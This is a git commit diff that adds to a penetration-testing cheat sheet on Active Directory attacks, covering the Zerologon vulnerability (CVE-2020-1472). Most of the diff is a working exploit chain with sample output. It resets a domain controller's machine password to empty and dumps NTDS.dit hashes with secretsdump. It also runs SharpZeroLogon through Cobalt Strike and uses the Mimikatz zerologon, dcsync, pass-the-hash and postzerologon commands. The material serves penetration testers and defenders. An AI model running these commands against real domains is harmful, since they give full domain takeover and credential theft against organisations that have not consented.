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Code Issues Releases Activity

Mimikatz Zerologon + reset pwd

This commit is contained in:
Swissky 2020-09-17 14:05:54 +02:00
parent 62678c26ce
commit f4ef56fca0
1 changed files with 22 additions and 2 deletions
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24
Methodology and Resources/Active Directory Attack.md
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@ -280,16 +280,22 @@ Exploit steps from the white paper
1. Spoofing the client credential
2. Disabling signing and sealing
3. Spoofing a call
4. Changing a computer's AD password
4. Changing a computer's AD password to null
5. From password change to domain admin
6. :warning: reset the computer's AD password in a proper way to avoid any Deny of Service
```powershell
$ git clone https://github.com/cube0x0/CVE-2020-1472
# Resetting the machine account password of DC01
$ python3 CVE-2020-1472.py DC01 10.10.10.10
# Execute secretsdump to extract the ntds.dit
$ secretsdump.py 'domain/DC01$@DC01.domain.local' -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 -just-dc
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:00000000000000000000000000000000:::
# Now reset the password back
```
in .NET for Cobalt Strike's execute-assembly
@ -298,22 +304,36 @@ in .NET for Cobalt Strike's execute-assembly
git clone https://github.com/nccgroup/nccfsas
# Check
execute-assembly SharpZeroLogon.exe win-dc01.vulncorp.local
# Resetting the machine account password
execute-assembly SharpZeroLogon.exe win-dc01.vulncorp.local -reset
# Testing from a non Domain-joined machine
execute-assembly SharpZeroLogon.exe win-dc01.vulncorp.local -patch
# Now reset the password back
```
with Mimikatz : 2.2.0 20200916 ZeroLogon & DCSync
with Mimikatz : 2.2.0 20200917 Post-Zerologon
```powershell
privilege::debug
# Check for the CVE
lsadump::zerologon /target:DC01.LAB.LOCAL /account:DC01$
# Exploit the CVE and set the computer account's password to ""
lsadump::zerologon /target:DC01.LAB.LOCAL /account:DC01$ /exploit
# Execute dcsync to extract some hashes
lsadump::dcsync /domain:LAB.LOCAL /dc:DC01.LAB.LOCAL /user:krbtgt /authuser:DC01$ /authdomain:LAB /authpassword:"" /authntlm
lsadump::dcsync /domain:LAB.LOCAL /dc:DC01.LAB.LOCAL /user:Administrator /authuser:DC01$ /authdomain:LAB /authpassword:"" /authntlm
# Pass The Hash with the extracted Domain Admin hash
sekurlsa::pth /user:Administrator /domain:LAB /rc4:HASH_NTLM_ADMIN
# Reset password to Waza1234
# Use IP address instead of FQDN to force NTLM with Windows APIs
lsadump::postzerologon /target:10.10.10.10 /account:DC01$
```
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